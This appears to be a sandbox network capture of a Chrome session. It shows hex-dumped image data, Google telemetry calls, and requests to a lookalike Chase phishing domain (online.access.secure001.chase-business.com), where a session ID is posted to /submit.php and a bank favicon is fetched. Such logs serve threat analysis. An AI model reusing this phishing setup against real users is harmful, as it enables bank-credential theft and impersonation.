2024-12-20 00:21:56 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 08 07 06 0a 08 08 08 0b 0a 0a 0b 0e 18 10 0e 0d 0d 0e 1d 15 16 11 18 23 1f 25 24 22 1f 22 21 26 2b 37 2f 26 29 34 29 21 22 30 41 31 34 39 3b 3e 3e 3e 25 2e 44 49 43 3c 48 37 3d 3e 3b ff db 00 43 01 0a 0b 0b 0e 0d 0e 1c 10 10 1c 3b 28 22 28 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC#%$""!&+7/&)4)!"0A149;>>>%.DIC<H7=>;C;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8"}!1AQa"q2
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: 7d a4 52 61 aa 72 a3 d2 90 a8 a2 e2 b1 07 cd eb 41 66 07 a9 a9 8a 8f ff 00 5d 1b 69 dc 56 21 de 69 7c c3 4f 28 0d 27 97 9a 34 0d 44 f3 0f ad 1e 61 f5 a0 c7 48 50 e2 8d 07 a8 ef 30 f4 a5 12 54 45 48 34 63 1d 68 b2 0b b2 6f 33 8a 5f 30 7a 54 1c fa d1 92 29 72 8f 99 96 04 82 9c 1c 55 5d c6 8d d4 b9 47 cc 5b dc 09 a5 c8 fa d5 50 fe f4 a1 c8 a5 ca 3e 62 ce e1 4b b8 55 71 21 ef 4b e6 7b d4 d8 7c c5 80 45 2d 57 df de 9c 1f 1d e8 b0 ee 4b 8a 31 51 ef a5 df 9a 45 5d 0f e9 47 5a 40 68 e9 48 77 17 34 1c 1a 40 68 cd 00 18 39 e6 8e b4 99 a2 80 17 1c 71 46 06 31 46 68 cf 3c d2 18 d6 5e 7b d2 04 a7 e6 8a 77 11 1e 08 a3 04 54 94 1c 51 70 22 db 4d c1 a9 48 a4 3c 51 70 23 c5 18 f4 a7 e2 82 b4 ee 2b 0c ef 41 f4 a7 05 14 a1 41 14 82 c3 3f 0a 29 fb 3a 51 b6 81 8c e2 8a 52 bc Data Ascii: }RarAf]iV!i\|O('4DaHP0TEH4cho3_0zT)rU]G[P>bKUq!K{\|E-WK1QE]GZ@hHw4@h9qF1Fh<^{wTQp"MH<Qp#+AA?):QR
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 8a 40 25 14 b4 94 00 51 45 14 00 51 45 14 c0 4a 29 68 a0 04 a2 96 8a 00 4a 29 69 28 00 a2 8a 28 00 a4 a5 a2 80 12 8a 5a 28 01 28 c5 14 50 01 45 14 50 01 49 4b 45 00 25 18 a5 a2 80 12 8a 5a 28 01 28 a5 a4 a0 04 a2 96 8a 00 29 29 68 a0 04 a2 96 8a 00 4a 28 a2 80 0a 28 a2 80 12 8a 5a 28 01 31 45 14 b4 08 6d 14 b4 50 02 62 8a 5a 28 01 28 a5 a4 a0 02 92 96 8a 00 31 49 4b 45 03 12 8c 52 d1 40 09 46 29 68 a4 02 62 8c 52 d1 40 58 4c 52 62 96 8a 60 26 28 c5 2d 14 82 c2 62 8c 52 d1 4c 2c 37 14 62 9d 49 40 86 e2 97 14 b4 50 03 71 46 29 d4 50 03 68 c5 2d 14 5c 06 d1 4e a4 a0 04 a4 a7 62 8c 50 03 68 a5 a2 80 12 92 9d 8a 28 01 b4 53 a9 28 00 a2 8a 28 18 52 52 d2 52 01 29 29 d4 62 98 86 d1 4b 49 40 09 45 2d 25 00 14 99 a2 8a 60 Data Ascii: (((@%QEQEJ)hJ)i((Z((PEPIKE%Z(())hJ((Z(1EmPbZ((1IKER@F)hbR@XLRb`&(-bRL,7bI@PqF)Ph-\NbPh(S((RRR))bKI@E-%`
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: 76 99 37 b1 e9 95 a6 22 63 22 0f ba 70 7b f1 4c 6d 80 83 e6 1c f5 e9 81 46 d2 1c 28 0a 09 e9 83 4e f2 09 23 79 fa 8c 74 a4 31 b2 4b 10 e1 f0 3b d0 ae 81 7e 56 04 1a 36 c4 78 24 92 bd f1 4e 47 56 cb 46 18 e3 a8 c5 00 29 6c f4 20 7e 34 85 80 4f 94 e4 8e 0f b5 44 67 40 d8 28 c9 ee c0 71 44 ac ca ad b3 7b 86 fe e8 14 5c 07 19 84 6c 03 1d bd b9 1d 69 ec 78 18 24 7d 3b d4 2a ea 58 29 60 a7 dc 83 52 1b 73 26 33 26 7f dd 3d 28 b8 0b bb 27 3c e4 71 d3 34 85 bb 29 c7 d4 52 2a 34 64 fe ed ca e7 9e 99 34 f1 24 6e 46 44 8a 47 fb 34 5c 06 85 24 f2 e1 b1 d8 0a 79 25 8f ca c0 03 d4 1a 47 99 00 da 51 b3 eb 8c 54 61 e4 de 18 46 48 ef b8 f3 40 0a 0b 11 84 e4 8e f8 a7 2b c9 ce 41 03 14 8c 44 5f 2a 46 e4 31 ce 45 44 2e dc 13 8b 76 c0 3d 41 fe 94 01 37 cc c3 a0 2d 9e a7 ad 29 Data Ascii: v7"c"p{LmF(N#yt1K;~V6x$NGVF)l ~4ODg@(qD{\lix$};X)`Rs&3&=('<q4)R4d4$nFDG4\$y%GQTaFH@+AD_*F1ED.v=A7-)
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: e1 5c 74 22 d8 c1 f2 e5 42 9f 99 89 24 e6 a5 f3 a3 74 c3 c4 c2 35 19 66 07 8a b5 3e 8f 62 1c 53 d5 1e 8c d3 a0 e0 30 cf d7 ad 27 9e 3b 02 c4 76 15 c2 d9 f8 96 4b 14 f2 d3 6c a9 fc 22 40 4e 3f 1a df 87 c6 3a 74 db 55 a2 78 dc 8e 49 e9 9f ad 68 a3 7f 84 cd bb 6e 6c ad ce 5f 1b 08 a7 09 72 4e 10 9a cc 8f 52 89 dc ef 61 1c 78 e3 03 39 a9 a3 d5 22 3b 94 4a 04 67 d0 7c c6 97 2b 0b a2 f1 94 ae 01 53 93 da 9a 27 0c 3a 1f a1 15 9b 36 ab 1c 59 68 e2 27 03 a9 6e b5 11 d6 e4 1b 5a 30 ab ea 18 75 a2 dd c6 9d cd 66 99 b3 f2 a3 7e 02 8f 39 c6 7e 42 6b 9d bb d7 e6 7d cc d2 2c 60 03 c2 af 26 b2 66 d7 6e 9c 6e 37 2f 92 7b 1a 34 ee 16 67 6f e7 72 04 8c 91 93 d9 9b 9a a9 71 aa db db 38 49 27 42 7d 8e 6b 86 97 53 9a 46 cb 48 58 8e f9 e6 ab 29 b9 be b8 11 44 1d dd ba 10 7a 54 Data Ascii: \t"B$t5f>bS0';vKl"@N?:tUxIhnl_rNRax9";Jg\|+S':6Yh'nZ0uf~9~Bk},`&fnn7/{4gorq8I'B}kSFHX)DzT
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: ba 16 f1 11 f2 c4 8b f3 7d 31 59 4b aa 6a 29 0b 46 11 e4 de 30 49 52 c4 fb 66 a7 d3 9e fc ca 90 47 67 0a 13 c9 dd 18 04 7b e4 d1 60 b9 5a 7c 09 91 ad ed 64 91 40 e4 ca bd 4f e1 48 f7 7a b2 87 89 3f d1 e3 7c 7c 81 40 3f a5 6e df c9 6b 6a 0a cd 7a 04 8c 39 11 2e 71 59 29 7d 65 e6 e5 8c c4 a8 e1 8b 73 f8 53 57 7d 04 f4 26 8e fc 5b 58 79 6e c2 79 0f de 2b 0e 31 f5 26 99 6b e6 5f 93 2d c1 cc 30 8c b2 97 db 9f 61 55 26 be 92 70 7c bb 36 09 db 24 9a ab ba 56 38 0a 14 ff 00 74 91 54 90 ae 68 cf 75 14 ea 51 50 db c6 a7 80 bd 4f d6 a8 35 d5 c0 00 2b ab 00 78 3d ea 6b 5b 27 9e 64 8b cc c3 1e 8a bc d4 f2 5b bd bc a6 29 23 84 67 8d d2 0a 34 5a 06 a5 7b 34 12 cc 4c c5 54 37 52 fd 05 4c d7 3f 3b 22 0f 32 32 70 0e ed bf 95 5a 93 47 f3 21 59 20 b8 46 66 ce 16 3c 6d 5f c6 Data Ascii: }1YKj)F0IRfGg{`Z\|d@OHz?\|\|@?nkjz9.qY)}esSW}&[Xyny+1&k_-0aU&p\|6$V8tThuQPO5+x=k['d[)#g4Z{4LT7RL?;"22pZG!Y Ff<m_
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: 24 83 3c a7 b5 4c d6 53 4d 6a 7e cf 3c 61 c7 21 90 63 06 b3 6d b5 1d 42 3b 8f 2e 54 8e 70 bd db 18 3f 8d 66 b5 d8 a6 69 69 37 5a 63 c8 4f 91 b1 cf 03 72 9c d4 f7 d7 fa 5c 00 c4 53 e6 f4 45 c9 a0 dc 41 75 66 5d a5 8e 09 87 d0 e2 b9 fb d8 2f 19 bc e3 33 ca b8 fb c8 e3 8f c0 50 92 6f 50 6d a5 a1 0d d5 d0 99 9f ca 96 4d 83 f8 4f 15 02 ce b2 10 b3 7c c0 74 05 79 a4 8d ee cb 04 5d d2 16 38 c6 dc 93 5d 4d 96 91 3c 10 ab 4b 1c 6a c7 aa 80 37 0f c6 b4 94 94 51 0a 2d 94 6d f5 1b 1d 3e 1c 24 65 24 e0 ed 65 e7 f3 35 7a d3 57 b4 b8 07 ed 13 2c 5b b8 01 58 92 7f 1e d5 9b 7e 96 df 6c fd e5 a7 0a 70 46 09 24 fd 69 22 8a e2 36 0d 69 64 63 62 38 22 3e 41 fc 6a 2c 9a 29 5c dd bc 8f 4c 16 cc b3 98 f6 3a f5 6e 5a b9 65 86 cd 24 64 ce e8 db ee 38 38 db f9 d6 c4 16 9a 95 c8 1f Data Ascii: $<LSMj~<a!cmB;.Tp?fii7ZcOr\SEAuf]/3PoPmMO\|ty]8]M<Kj7Q-m>$e$e5zW,[X~lpF$i"6idcb8">Aj,)\L:nZe$d88
2024-12-20 00:21:57 UTC	16384	IN	Data Raw: dd ef 8a 92 2b 28 23 60 d7 17 64 2f 7f 2f 93 55 ea 48 17 b6 53 b5 1c 38 3d 00 6e 7f 12 69 b7 93 2d ba 87 8e c8 33 e3 82 e3 3f ad 4d 1d b5 8c a3 31 89 08 66 e1 8a e4 01 ee 6b 53 ec 7a 55 8d ba 1d c6 53 27 f7 a4 c2 d3 6e dd 04 91 ca 47 2d d5 c4 85 d6 16 c9 39 21 57 20 55 a5 d3 66 e2 49 ac d8 03 ce 71 8a d6 b8 bb 26 1c 5a df 22 04 e8 a8 81 47 e0 6b 32 49 2e e4 c8 33 33 ee ea 4b e6 a9 5d 89 d8 8f c8 86 23 91 01 27 df 90 29 3e d5 71 b8 08 c1 1e 80 2d 58 8e da 4f e2 91 57 db 39 35 66 38 92 2c 12 93 ca c3 9c 01 81 f9 9a 2f 60 b1 96 2c ee 98 92 b0 49 83 ce 4f 19 a1 ad 24 ce d7 44 04 f6 c8 ad ab f4 8e e5 15 8b bc 44 70 23 c1 38 fc a9 d6 f6 10 69 a1 6e 6f 0c 60 30 f9 44 9f 78 fd 17 fc 69 73 0e c5 1b 6f 0d 5d 48 ca cf 24 48 a4 64 01 c9 ab 92 e8 6d 09 2b 6f 24 6a 50 Data Ascii: +(#`d//UHS8=ni-3?M1fkSzUS'nG-9!W UfIq&Z"Gk2I.33K]#')>q-XOW95f8,/`,IO$DDp#8ino`0Dxiso]H$Hdm+o$jP
2024-12-20 00:21:57 UTC	16384	IN	Data Raw: fc aa 7a 0f c2 b4 94 ac 42 46 27 f6 25 ba 33 6f 66 c0 1c 16 61 c9 fc 2a 58 74 bb 38 a3 17 13 45 ba 05 fb cd 9c 66 ab c5 73 ac 49 2b c2 2d 24 69 09 e4 6c c1 5a ba 2c 75 46 87 fd 36 57 88 11 d3 70 6f d2 93 7e 60 97 91 25 de a1 67 0c 49 1d b4 69 e5 8e 42 c7 80 0f d6 b3 46 a1 6a 26 26 4d 36 27 07 a1 2a 32 be fe f5 5d e1 86 da 50 c8 e5 d4 76 60 41 3f 5a b9 63 7d 33 4c ce 6c 7e d0 a0 00 09 18 0b ef cd 3b 2b 03 6c 95 77 de 4c ad 1e 0a 02 38 f2 f0 a2 b4 2e ec 18 05 dd 7e 09 6e 8a b1 8d aa 2a 0b bf 10 28 8c db db a8 b7 3d 0c 8e c3 f1 c0 15 9d 3e bb 0f 97 e5 44 8d 20 ee ce 7e f7 e1 45 a4 c2 e8 d2 fe c5 4b 7b 77 b9 91 bc e2 06 e5 8d 47 de 3d aa 09 d6 f0 c2 8f 69 6e b1 32 ae 5c c9 f2 f3 f8 d6 7a eb a1 72 cf 1c b3 31 e8 1a 4c 2a fe 02 ab cd ab 3d c0 2c e9 93 8c 01 9c Data Ascii: zBF'%3ofaXt8EfsI+-$ilZ,uF6Wpo~`%gIiBFj&&M6'2]Pv`A?Zc}3Ll~;+lwL8.~n(=>D ~EK{wG=in2\zr1L=,
2024-12-20 00:21:57 UTC	16384	IN	Data Raw: ad 77 6d 05 c5 97 96 9f bb 50 32 08 ae 72 6c dd cb e7 d9 c7 32 03 dc 67 93 53 da 58 5f 4b 36 d1 70 d9 c7 47 c8 c5 0d 2d ee 24 cb 36 1e 74 72 fc ee 62 84 1e ed c9 ad 06 ba 91 41 68 a0 fb 43 13 91 bc 85 0a 2a cc 1a 1d b2 c3 be ed 83 e0 ee eb 81 9f 5a cb bc d5 ad 63 99 d2 22 c4 2f 4c 2f 06 a7 59 31 b6 a2 49 79 7b 71 12 07 8a 38 d4 1e c4 13 cd 24 7a be f8 d7 cc b8 8e 37 f7 4d c2 b2 9b 59 9a 49 07 96 02 63 a8 23 20 d4 e9 6e fa 9b 61 13 6b 1e ea 38 ab e5 b2 d4 9b df 62 0b ad 42 79 27 f9 6e 18 00 7b 1f 94 d5 7f 36 5b 79 fc c4 93 76 4e 73 52 5e 69 e6 d8 96 86 5f 35 14 ed 6f 55 34 c8 ad 5a ea 32 d0 f2 cb d8 9a d1 35 6b 91 6d 4e 97 4c ba 92 6b 60 ec 3b e3 39 ce 6a ce e3 82 5b 20 8f 4a e7 f4 76 97 cd 6b 66 46 f9 b8 6e 39 5f 7a d5 3a 14 70 cd e6 c7 3c ca bd 4a b3 64 Data Ascii: wmP2rl2gSX_K6pG-$6trbAhC*Zc"/L/Y1Iy{q8$z7MYIc# nak8bBy'n{6[yvNsR^i_5oU4Z25kmNLk`;9j[ JvkfFn9_z:p<Jd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49860	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:56 UTC	1029	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 390 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip X-Goog-AuthUser: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:56 UTC	390	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a cd 53 5b 6b c2 30 14 fe 2b 23 cf c5 26 5e aa 63 ec a1 5e 18 05 a9 6e 38 06 6b 4b 28 6d b4 61 6d 32 92 d4 c9 7e fd 4e a3 6e e8 83 ba ed 45 02 27 e7 7c e7 fe 91 44 11 71 44 5d 96 17 8b e8 e2 c0 28 42 0f 52 ae 4a 76 33 2a 94 ac 18 72 10 21 7d 94 38 11 0a a5 b9 f3 ef 87 2a 15 39 a0 03 8b d9 20 5e 57 fb b0 c4 c1 0e 7a e1 22 97 1f ba c1 70 0b 0e 28 9b 81 07 72 1b 05 50 ef b6 33 68 91 4e bb a9 d1 85 14 7b 12 c8 6e 63 ec c1 10 88 f4 3b 5d af d7 25 04 7b ed 0e 3a 33 34 82 a9 63 e4 66 25 67 c2 50 6d 14 4b ab 4f 37 57 7c cd a8 2e 52 c5 c5 ca 6d 6e 46 b7 21 2e 17 dc b8 9a 89 9c 36 1a cd 64 55 c1 52 6e 26 6b 61 e2 5d 37 a8 b8 94 8a f1 95 a0 9a a9 35 cf 18 78 62 f4 9e 9a c2 2a da a4 a6 d6 56 e5 9a 2e b9 d2 50 28 2d cb 3d f2 91 72 03 8d 29 Data Ascii: S[k0+#&^c^n8kK(mam2~NnE'\|DqD](BRJv3r!}89 ^Wz"p(rP3hN{nc;]%{:34cf%gPmKO7W\|.RmnF!.6dURn&ka]75xb*V.P(-=r)
2024-12-20 00:21:56 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:56 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:56 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49862	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:58 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:58 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:21:59 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:58 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:21:59 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49863	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:58 UTC	891	OUT	GET /content/chasefavicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:59 UTC	266	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:39:20 GMT ETag: "7d26-6104308fe4a00" Accept-Ranges: bytes Content-Length: 32038 Connection: close Content-Type: image/vnd.microsoft.icon
2024-12-20 00:21:59 UTC	16384	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 00 00 20 00 68 04 00 00 46 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 ae 04 00 00 30 30 00 00 00 00 20 00 a8 25 00 00 56 15 00 00 40 40 00 00 00 00 20 00 28 42 00 00 fe 3a 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 35 b9 5c 00 3f b9 5c 00 3f b9 5c 00 3f b9 5c 00 29 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 6b b9 5c 00 fd b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 d1 b9 5c 00 35 b9 5c 00 33 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 57 b9 Data Ascii: hF 00 %V@@ (B:( @\5\?\?\?\)\k\\\\\\5\3\W
2024-12-20 00:21:59 UTC	15654	IN	Data Raw: ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 03 b9 5c 00 4f b9 5c 00 e3 b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 4f ff ff ff 01 ff ff ff 01 b9 5c 00 41 b9 5c 00 99 b9 5c 00 35 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff Data Ascii: \\O\\\\\\\\\\\\\\\\\\\\\O\A\\5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49864	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:59 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:59 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:59 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:59 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
